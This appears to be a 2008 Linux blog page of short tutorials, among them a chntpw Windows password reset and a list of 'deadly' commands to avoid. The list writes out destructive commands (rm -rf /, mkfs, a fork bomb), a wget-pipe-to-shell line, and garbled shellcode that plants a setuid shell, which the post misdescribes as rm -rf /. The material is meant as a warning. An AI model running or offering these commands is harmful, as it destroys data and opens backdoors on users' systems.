Logo Background RSS
  • Hacking Windows Administrator Password (with good intentions) Using Linux
    By on October 29th, 2008 | 1 Comment1 Comment Comments

    In case you or a friend of yours has forgotten his/her Windows administrator password, there’s no need to panic as you can easily hack it by resetting the password provided you have the right tools. One way to do this is to use Linux as your knight in shining armor.

    I’m going to show you how you can smoothly hack a Windows Administrator password using Linux. You will only need a Live CD, and for this example, we will utilize Ubuntu. Also, I assume that you have the basic knowledge on using the Linux command line.

    Now let’s start hacking:

    The first thing you have to do is of course load your Ubuntu Live CD. You don’t have to install it, just boot straight into the desktop. Then, install a program called ‘chntpw’:

    $ sudo apt-get install chntpw

    After successfully installing ‘chntpw’, you have to access the Windows NTFS partition by mounting it and allowing read/write support. A good tutorial on how to do this can be found HERE.

    After that, use your command line skills by navigating to ‘WINDOWS/system32/config’.

    Once inside the ‘config’ directory, issue this command:

    $ sudo chntpw SAM

    A long display of information will follow. Just ignore them.

    Once you are prompted to reset the password, it is recommended to leave the password blank with an asterisk *. Reboot, and you can now login to freakin’ Windows.

  • Installing RPM Packages on Ubuntu
    By on October 29th, 2008 | 5 Comments5 Comments Comments

    If you happen to have .rpm file package that you would like to install on your Ubuntu machine, you will have to convert that file to .deb first for it to be installed. How will you do it? –Use the package converter application called “alien”.

    package manager

    package manager

    From the project’s website:

    Alien is a program that converts between the rpm, dpkg, stampede slp, and slackware tgz file formats. If you want to use a package from another distribution than the one you have installed on your system, you can use alien to convert it to your preferred package format and install it.

    Despite the large version number, alien is still (and will probably always be) rather experimental software. It has been used by many people for many years, but there are still many bugs and limitations.

    You can get alien through Synaptic Package Manager or via the command line:

    $sudo apt-get install alien

    After you have installed alien, you can now start converting your .rpm files.

    To convert .rpm file to .deb using the command line, first you have to go to the directory where you saved your .rpm file. Assuming it’s on your desktop:

    $cd ~/Desktop

    Then, convert the .rpm file to .deb with this command:

    $sudo alien –k rpm-file-name.rpm

    After that, you can now install the .deb file in Ubuntu using a Debian package installer or with this command:
    $sudo dpkg –i deb-file-name.deb

    It’s worth noting that “alien” can also convert other kinds of packages, so you may want to check out its mapage for instructions.

  • Win NTFS Partitions R/W support made easy in Ubuntu
    By on October 29th, 2008 | 1 Comment1 Comment Comments

    This program allow you to easily configure all of your NTFS devices to allow write support via a friendly gui. For that use, it will configure them to use the open source ntfs-3g driver. You’ll also be able to easily disable this feature.

    Current Stable 0.5.5

    Project Home page :- http://flomertens.free.fr/ntfs-config/

    Requirements

    windows with Feisty dual-boot installation and external Hard Disk (Optional)

    Install NTFS-config in Ubuntu Feisty

    Now You can install NTFS-config from Ubuntu Feisty repositories

    sudo apt-get install ntfs-config

    This will install all the required packages for ntfs-config including ntfs-3g

    Using Ntfs-Config

    If you want to open this application go to Applications—>System Tools—>NTFS Configuration Tool

    Now it will prompt for root password enter root password and click ok

    It will show the available NTFS partition as follows in this example /dev/sda1 in NTFS partition

    You need to select the partitions you want to configure,add the name of the mount point and click on apply.In this example i have ticked the check box next to /dev/sda1 and click under mount enter the name you want to use i have entered as windows now the mount point showing as /media/windows and click on apply.

    Select the NTFS Write support which is suitable for you i.e internal or external

    In this example i have tick the check box next to Enable write support for internal device because i am using dualboot with windows.If you are using external hard drive select external option and click on ok

    Once it finished you should see the mount point on your desktop as follows

    You can see the windows mount point files as follows

    If you want to unmount you should be root to unmount and then right click on mount point select Unmount Volume

  • Fear of Linux (CLI)
    By on October 29th, 2008 | 2 Comments2 Comments Comments

    Fear is a painful emotion by the expectation of evil, or the apprehension of impending danger; anxiety; solicitude; alarm; dread; like our fear of ghosts and zombies as a child, and our fear of failure and death as an adult. I’m here to help Linux newbies defeat their fear, but not the kind of fear that I was talking about. Instead, I’m here to assist those who are suffering from CLI-phobia, or the “fear of Command Line Interface”. I will list some indispensable commands and keyboard shortcuts with their corresponding functions to guide the fearful in their journey to conquer the horror of using the Linux terminal..

    Essential Commands:

    Commands – Functions

    Directory navigation

    Pwd – “Print working directory” – show what dir you’re in.

    ls – List the contents of a dir.

    ls –l – List the contents of a dir and show additional info of the files.

    ls –a – List all files, including hidden files.

    cd – Change directory.

    cd – Go to the parent directory.

    Examining files

    file – Determine the type of a file.

    cat – Concatenate a file.

    less – View text files and paginate them if needed.

    Manipulating files and directories

    p – Copy a file.

    cp –i – Copy a file and ask before overwriting.

    cp –r – Copy a directory with its contents.

    mv – Move or rename a file.

    mv –i – Move or rename a file and ask before overwriting.

    rm – Remove a file.

    rm –r – Remove a directory with its contents.

    rm –i – Ask before removing a file. Good to use with the -r option.

    mkdir – Make a directory.

    rmdir – Remove an empty directory.


    Essential Keyboard Shortcuts:

    Ctrl + Alt + F1
    Switch to the first virtual terminal. In Linux, you can have several virtual terminals at the same time. The default is 6.

    Ctrl + Alt + Fn
    Switch to the nth virtual terminal. Because the number of virtual terminals is 6 by default, n = 1…6.

    tty
    Typing the tty command tells you what virtual terminal you’re currently working in.

    Ctrl + Alt + F7
    Switch to the GUI. If you have X Window System running, it runs in the seventh virtual terminal by default. If X isn’t running, this terminal is empty.

    Ctrl + Alt + +
    Switch to the next resolution in the X Window System. This works if you’ve configured more than one resolution for your X server. Note that you must use the + in your numpad.

    Ctrl + Alt + -
    Switch to the previous X resolution. Use the – in your numpad.

    MiddleMouseButton
    Paste the highlighted text. You can highlight the text with your left mouse button (or with some other highlighting method, depending on the application you’re using), and then press the middle mouse button to paste. This is the traditional way of copying and pasting in the X Window System, but it may not work in some X applications.

    If you have a two-button mouse, pressing both of the buttons at the same time has the same effect as pressing the middle one. If it doesn’t, you must enable 3-mouse-button emulation.

    This works also in text terminals if you enable the gpm service.

    Ctrl + Alt + Backspace
    Kill the X server. Use this if X crashes and you can’t exit it normally. If you’ve configured your X Window System to start automatically at bootup, this restarts the server and throws you back to the graphical login screen.

    Home or Ctrl + a
    Move the cursor to the beginning of the current line.

    End or Ctrl + e
    Move the cursor to the end of the current line.

    Alt + b
    Move the cursor to the beginning of the current or previous word. Note that while this works in virtual terminals, it may not work in all graphical terminal emulators, because many graphical applications already use this as a menu shortcut by default.

    Alt + f
    Move the cursor to the end of the next word. Again, like with all shortcuts that use Alt as the modifier, this may not work in all graphical terminal emulators.

    Tab
    Autocomplete commands and file names. Type the first letter(s) of a command, directory or file name, press Tab and the rest is completed automatically! If there are more commands starting with the same letters, the shell completes as much as it can and beeps. If you then press Tab again, it shows you all the alternatives.

    This shortcut is really helpful and saves a lot of typing! It even works at the lilo prompt and in some X applications.

    Ctrl + u
    Erase the current line.

    Ctrl + k
    Delete the line from the position of the cursor to the end of the line.

    Ctrl + w
    Delete the word before the cursor.

    Shift + PageUp
    Scroll terminal output up.

    Shift + PageDown
    Scroll terminal output down.

    clear
    The clear command clears all previously executed commands and their output from the current terminal.

    Ctrl + l
    Does exactly the same as typing the clear command.

    reset
    If you mess up your terminal, use the reset command. For example, if you try to cat a binary file, the terminal starts showing weird characters. Note that you may not be able to see the command when you’re typing it.

    history
    When you type the history command, you’ll see a list of the commands you executed previously.

    ArrowUp or Ctrl + p
    Scroll up in the history and edit the previously executed commands. To execute them, press Enter like you normally do.

    ArrowDown or Ctrl + n
    Scroll down in the history and edit the next commands.

    Ctrl + r
    Find the last command that contained the letters you’re typing. For example, if you want to find out the last action you did to a file called “file42.txt”, you’ll press Ctrl + r and start typing the file name. Or, if you want to find out the last parameters you gave to the “cp” command, you’ll press Ctrl + r and type in “cp”.

    Ctrl + c
    Kill the current process.

    Ctrl + z
    Send the current process to background. This is useful if you have a program running, and you need the terminal for awhile but don’t want to exit the program completely. Then just send it to background with Ctrl+z, do whatever you want, and type the command fg to get the process back.

    Ctrl + d
    Log out from the current terminal. If you use this in a terminal emulator under X, this usually shuts down the terminal emulator after logging you out.

    Ctrl + Alt + Del
    Reboot the system. You can change this behavior by editing /etc/inittab if you want the system to shut down instead of rebooting.

  • 7 Deadly Linux Commands
    By on October 29th, 2008 | 1 Comment1 Comment Comments

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

    1. Code:


    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
    “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
    “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
    “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
    “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
    “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
    “x6ex2fx73x68x00x2dx63x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

  • MySQLTuner – High-performance MySQL tuning script
    By on October 28th, 2008 | No Comments Comments

    MySQLTuner is a script written in Perl that will assist you with your MySql configuration and make recommendations for increased performance and stability. Within seconds, it will display statistics about your MySQL installation and the areas where it can be improved.

    It’s key to remember that MySQLTuner is a script which can assist you with your server, but it is not the solution to a badly performing MySQL server. The best performance gains come from a thorough review of the queries sent to the server, and an evaluation of the MySQL server itself. A qualified developer in your application’s programming or scripting language should be able to work with a MySql Databasesadministrator to find improvements for your server. Once the server and application are optimized well, you may need to consider hardware upgrades to the physical server itself.

    This is a really useful tool for helping to optimize MySQL performance.Understanding the various my.cnf variables and how they affect performance can seem really complicated but this tool takes some of the pain away and makes it easier to understand the effects of each variable.It is especially useful to be able to see the global memory usage,  memory usage per thread and the maximum possible memory usage – that is really valuable information that is otherwise complex to calculate.

    MySQLTuner Features

    * Memory Usage: Calculates MySQL memory usage at max load and makes recommendations for  increasing or decreasing the MySQL memory footprint. Per-thread and server-wide buffer data is calculated
    separately for an accurate snapshot of the server’s configuration.
    * Slow Queries: Reviews the amount of slow queries relative to the total queries. Slow query time limits are also analyzed and recommendations are made.
    * Connections: Current and historical connection counts are reviewed.
    * Key Buffer: Takes configuration data and compares it to the actual indexes found in MyISAM tables. Key cache hit rates are calculated and variable adjustments are suggested.
    * Query Cache: Query cache hit rates and usage percentages are used to make recommendations for the query cache configuration variables.
    * Sorting & Joins: Per-thread buffers that affect sorts and joins are reviewed along with the statistics from the queries run against the server.
    * Temporary Tables: Variable recommendations are made to reduce temporary tables that are written to the disk.
    * Table Cache: Compares total tables opened to the currently open tables. Calculates the table cache hit rate in order to make suggestions.
    * Open Files: Determines if the server will approach or run into the open file limit set by the operating system or the MySQL server itself.
    * Table Locks: Finds table locking that forces queries to wait and makes suggestions for reducing locks that require a wait.
    * Thread Cache: Calculates how many times MySQL must create a new thread to respond to a query.
    * Aborted Connections: Finds applications that are not closing connections to MySQL properly.
    * Read/Write Ratios: Calculates the percentage of read and write operations on your MySQL installation.

    Install Mysqltuner in Ubuntu Intrepid

    sudo aptitude install mysqltuner

    Or using the following method

    Run MySQLTuner in Ubuntu

    Download MySQLTuner using the following command

    wget http://mysqltuner.com/mysqltuner.pl

    To run the script, simply make it executable and run it:

    chmod +x mysqltuner.pl

    sudo ./mysqltuner.pl

    Enter your administrative username and password

    You need to check mainly recommendations section at the end. It shows which variables you should adjust in the  section of your my.cnf (on Ubuntu file located at /etc/mysql/my.cnf).